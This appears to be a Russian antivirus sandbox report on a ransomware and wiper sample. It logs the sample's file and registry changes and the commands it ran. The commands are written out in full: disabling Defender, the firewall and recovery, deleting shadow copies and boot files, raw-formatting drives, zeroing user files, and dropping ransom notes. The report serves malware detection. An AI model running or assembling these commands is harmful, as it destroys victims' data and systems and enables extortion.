Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
Модифицирует главную загрузочную запись (MBR).
Вредоносные функции
Для затруднения выявления своего присутствия в системе
удаляет теневые копии разделов.
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state off
Запускает большое число процессов
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-3691498038-2086406363-2140527554-1000\4d221c2b45692e5774199272f3f27997_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814
- %APPDATA%\microsoft\systemcertificates\my\certificates\abdbe2a1cccbf04bfc2a9ce336dbaa028782fcea
- C:\system volume information\efs0.log
- %HOMEPATH%\desktop\efs0.tmp
- %HOMEPATH%\desktop\ransom_note.txt
- %HOMEPATH%\documents\ransom_note.txt
Удаляет следующие файлы
- %HOMEPATH%\desktop\efs0.tmp
- %WINDIR%\syswow64\msvcp140_2.dll
- %WINDIR%\syswow64\msvcp140_1.dll
- %WINDIR%\syswow64\msvcp140d.dll
- %WINDIR%\syswow64\msvcp140.dll
- %WINDIR%\syswow64\msvcp120d.dll
- %WINDIR%\syswow64\msvcp120.dll
- %WINDIR%\syswow64\msvcp110d.dll
- %WINDIR%\syswow64\msvcp110.dll
- %WINDIR%\syswow64\msvcp100d.dll
- %WINDIR%\syswow64\msvcp100.dll
- %WINDIR%\syswow64\msvcp140_atomic_wait.dll
- %WINDIR%\syswow64\msvcm90d.dll
- %WINDIR%\syswow64\mfcm140u.dll
- %WINDIR%\syswow64\mfcm140.dll
- %WINDIR%\syswow64\mfcm120u.dll
- %WINDIR%\syswow64\mfcm120.dll
- %WINDIR%\syswow64\mfcm110u.dll
- %WINDIR%\syswow64\mfcm110.dll
- %WINDIR%\syswow64\mfcm100u.dll
- %WINDIR%\syswow64\mfcm100.dll
- %WINDIR%\syswow64\mfc140u.dll
- %WINDIR%\syswow64\mfc140rus.dll
- %WINDIR%\syswow64\msclmd.dll
- %WINDIR%\syswow64\vcamp140.dll
- %WINDIR%\syswow64\vcruntime140d.dll
- %WINDIR%\syswow64\msvcr100.dll
- %WINDIR%\syswow64\vcruntime140.dll
- %WINDIR%\syswow64\vcomp140.dll
- %WINDIR%\syswow64\vcomp120.dll
- %WINDIR%\syswow64\vcomp110.dll
- %WINDIR%\syswow64\vcomp100.dll
- %WINDIR%\syswow64\vccorlib140d.dll
- %WINDIR%\syswow64\vccorlib140.dll
- %WINDIR%\syswow64\vccorlib120d.dll
- %WINDIR%\syswow64\vccorlib120.dll
- %WINDIR%\syswow64\vccorlib110d.dll
- %WINDIR%\syswow64\mfc140kor.dll
- %WINDIR%\syswow64\vccorlib110.dll
- %WINDIR%\syswow64\vcamp120.dll
- %WINDIR%\syswow64\vcamp110.dll
- %WINDIR%\syswow64\ucrtbased.dll
- %WINDIR%\syswow64\msvcr90d.dll
- %WINDIR%\syswow64\msvcr120d.dll
- %WINDIR%\syswow64\msvcr120.dll
- %WINDIR%\syswow64\msvcr110d.dll
- %WINDIR%\syswow64\msvcr110.dll
- %WINDIR%\syswow64\msvcr100_clr0400.dll
- %WINDIR%\syswow64\msvcr100d.dll
- %WINDIR%\syswow64\msvcp140_codecvt_ids.dll
- %WINDIR%\syswow64\msvcp90d.dll
- %WINDIR%\syswow64\mfc140jpn.dll
- %WINDIR%\syswow64\mfc110fra.dll
- %WINDIR%\syswow64\mfc110deu.dll
- %WINDIR%\syswow64\mfc110cht.dll
- %WINDIR%\syswow64\mfc110chs.dll
- %WINDIR%\syswow64\mfc110.dll
- %WINDIR%\syswow64\mfc100u.dll
- %WINDIR%\syswow64\mfc100rus.dll
- %WINDIR%\syswow64\mfc100kor.dll
- %WINDIR%\syswow64\mfc100jpn.dll
- %WINDIR%\syswow64\mfc100ita.dll
- %WINDIR%\syswow64\mfc100fra.dll
- %WINDIR%\syswow64\mfc110enu.dll
- %WINDIR%\syswow64\mfc100esn.dll
- %WINDIR%\syswow64\mfc100deu.dll
- %WINDIR%\syswow64\mfc100cht.dll
- %WINDIR%\syswow64\mfc100chs.dll
- %WINDIR%\syswow64\mfc100.dll
- %WINDIR%\syswow64\concrt140d.dll
- %WINDIR%\syswow64\concrt140.dll
- %WINDIR%\syswow64\atl110.dll
- %WINDIR%\syswow64\atl100.dll
- %WINDIR%\syswow64\aspnet_counters.dll
- C:\system volume information\efs0.log
- %WINDIR%\syswow64\mfc100enu.dll
- %WINDIR%\syswow64\mfc120fra.dll
- %WINDIR%\syswow64\mfc140fra.dll
- %WINDIR%\syswow64\mfc110ita.dll
- %WINDIR%\syswow64\mfc140esn.dll
- %WINDIR%\syswow64\mfc140enu.dll
- %WINDIR%\syswow64\mfc140deu.dll
- %WINDIR%\syswow64\mfc140cht.dll
- %WINDIR%\syswow64\mfc140chs.dll
- %WINDIR%\syswow64\mfc140.dll
- %WINDIR%\syswow64\mfc120u.dll
- %WINDIR%\syswow64\mfc120rus.dll
- %WINDIR%\syswow64\mfc120kor.dll
- %WINDIR%\syswow64\mfc120jpn.dll
- %WINDIR%\syswow64\mfc140ita.dll
- %WINDIR%\syswow64\mfc120ita.dll
- %WINDIR%\syswow64\mfc120esn.dll
- %WINDIR%\syswow64\mfc120enu.dll
- %WINDIR%\syswow64\mfc120deu.dll
- %WINDIR%\syswow64\mfc120cht.dll
- %WINDIR%\syswow64\mfc120chs.dll
- %WINDIR%\syswow64\mfc120.dll
- %WINDIR%\syswow64\mfc110u.dll
- %WINDIR%\syswow64\mfc110rus.dll
- %WINDIR%\syswow64\mfc110kor.dll
- %WINDIR%\syswow64\mfc110jpn.dll
- %WINDIR%\syswow64\mfc110esn.dll
- %WINDIR%\syswow64\vfpodbc.dll
Изменяет следующие файлы
- %HOMEPATH%\desktop\about.htm
- %HOMEPATH%\desktop\archer.avi
- %HOMEPATH%\desktop\browse.htm
- %HOMEPATH%\desktop\contoso.cer
- %HOMEPATH%\desktop\contosoroot_1.cer
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\google chrome.lnk
- %HOMEPATH%\desktop\telegram.lnk
Подменяет следующие файлы
- C:\system volume information\efs0.log
- %HOMEPATH%\desktop\efs0.tmp
Изменяет множество файлов пользовательских данных (Trojan.Encoder).
Другое
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\winload.exe
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\AppData
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Videos\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Videos
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Videos
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Music\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\cmd.exe' /c netsh advfirewall set allprofiles state off
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Videos" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Music
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\AppData
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Music" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Music
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /delete {current} /f
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Downloads" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\format.com' E: /fs:raw /q /y
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Downloads\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Pictures\RANSOM_NOTE.txt"
- '%WINDIR%\syswow64\cmd.exe' /c format E: /fs:raw /q /y
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Downloads
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Downloads\RANSOM_NOTE.txt"
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q %WINDIR%\repair\*.*
- '%WINDIR%\syswow64\cmd.exe' /c sc stop wuauserv
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\restore\*.*
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q /S C:\Recovery\*.*
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\config\*.*
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q %WINDIR%\regedit.exe
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q %WINDIR%\explorer.exe
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} recoveryenabled No
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\format.com' D: /fs:raw /q /y
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\*.exe
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <DRIVERS>\*.sys
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\sc.exe' config wuauserv start=disabled
- '%WINDIR%\syswow64\cmd.exe' /c sc config wuauserv start=disabled
- '%WINDIR%\syswow64\sc.exe' stop wuauserv
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Downloads
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\issi2013_template_for_posters.docx"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\hadac_newsletter_july_2010_final.docx"
- '%WINDIR%\syswow64\cmd.exe' /c mountvol X: /s
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Google Chrome.lnk"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\glidescope_review_rev_010.docx"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\dashBorder_192.bmp"
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /delete {default} /f
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\dashBorder_144.bmp"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\cveuropeo.doc"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\contosoroot_1.cer"
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Desktop\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\contoso.cer"
- '<SYSTEM32>\efsui.exe' /efs /keybackup
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\browse.htm"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\archer.avi"
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q C:\bootmgr
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\about.htm"
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Desktop
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q <SYSTEM32>\*.dll
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Desktop
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Desktop" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /delete {bootmgr} /f
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\tree_view.htm"
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Pictures\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\mountvol.exe' X: /s
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Pictures" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\format.com' C: /fs:raw /q /y
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Documents\RANSOM_NOTE.txt"
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Pictures
- '%WINDIR%\syswow64\cmd.exe' /c for /r "%HOMEPATH%\Documents" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Pictures
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\weeklysheet1215.doc"
- '%WINDIR%\syswow64\cmd.exe' /c format C: /fs:raw /q /y
- '%WINDIR%\syswow64\mountvol.exe' X: /d
- '%WINDIR%\syswow64\cmd.exe' /c format D: /fs:raw /q /y
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\uep_form_786_bulletin_1726i602.doc"
- '%WINDIR%\syswow64\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Documents\RANSOM_NOTE.txt
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\toolbar.bmp"
- '%WINDIR%\syswow64\cipher.exe' /E /A /S:%HOMEPATH%\Documents
- '%WINDIR%\syswow64\cmd.exe' /c mountvol X: /d
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Telegram.lnk"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\tcm851ax32.exe"
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\nwfieldnotes1966.docx"
- '%WINDIR%\syswow64\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Documents
- '%WINDIR%\syswow64\cmd.exe' /c del /F /Q X:\EFI\Microsoft\Boot\*.*
- '%WINDIR%\syswow64\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\iisstart.htm"
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet
